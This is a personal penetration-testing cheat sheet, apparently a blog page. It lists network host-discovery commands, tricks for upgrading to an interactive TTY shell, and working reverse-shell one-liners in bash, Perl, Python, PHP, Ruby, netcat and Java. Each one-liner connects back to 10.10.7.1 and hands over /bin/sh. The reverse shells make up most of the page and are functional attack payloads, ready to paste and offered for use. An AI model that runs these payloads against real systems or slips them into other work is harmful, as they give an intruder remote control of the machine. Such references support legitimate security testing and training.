Commands && Such

This page is intended to be a gathering point for any and all commands that I find useful.  I will update it at random and try to keep it organized.  Depending on how large it gets, I may break it out into different pages based on category.

Reconnaissance

Host Discovery

nmap ping scan

nmap -sn [IP Range]
nmap -sn 10.10.7.0/27

arp-scan

arp-scan -I [interface] -l
arp-scan -I eth1 -l

netdiscover

netdiscover -i [interface] -r [IP range (optional, must be /8 /16 or /24)]
netdiscover -i eth1 -r 10.10.7.0/24

Misc

Spawning a TTY Shell

python -c 'import pty; pty.spawn("/bin/sh")'
echo os.system('/bin/bash')
/bin/sh -i
perl —e 'exec "/bin/sh";'
perl: exec "/bin/sh";
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')

(From within Interactive RuBy shell (IRB)):

exec "/bin/sh"

(From within vi):

:!bash

(From within vi):

:set shell=/bin/bash:shell

(From within nmap):

!sh

Reverse Shells

Bash

bash -i >& /dev/tcp/10.10.7.1/8080 0>&1

PERL

perl -e 'use Socket;$i="10.10.7.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.7.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

php -r '$sock=fsockopen("10.10.7.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.10.7.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat

nc -e /bin/sh 10.10.7.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.7.1 1234 >/tmp/f

This next one supposedly eliminates the fifo that the above one-liner creates in /tmp/ but I have not had a chance to test it out yet

{ nc 10.10.7.1 1234 < /dev/fd/3 | sh 3>&-;}3>&1|:

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.7.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()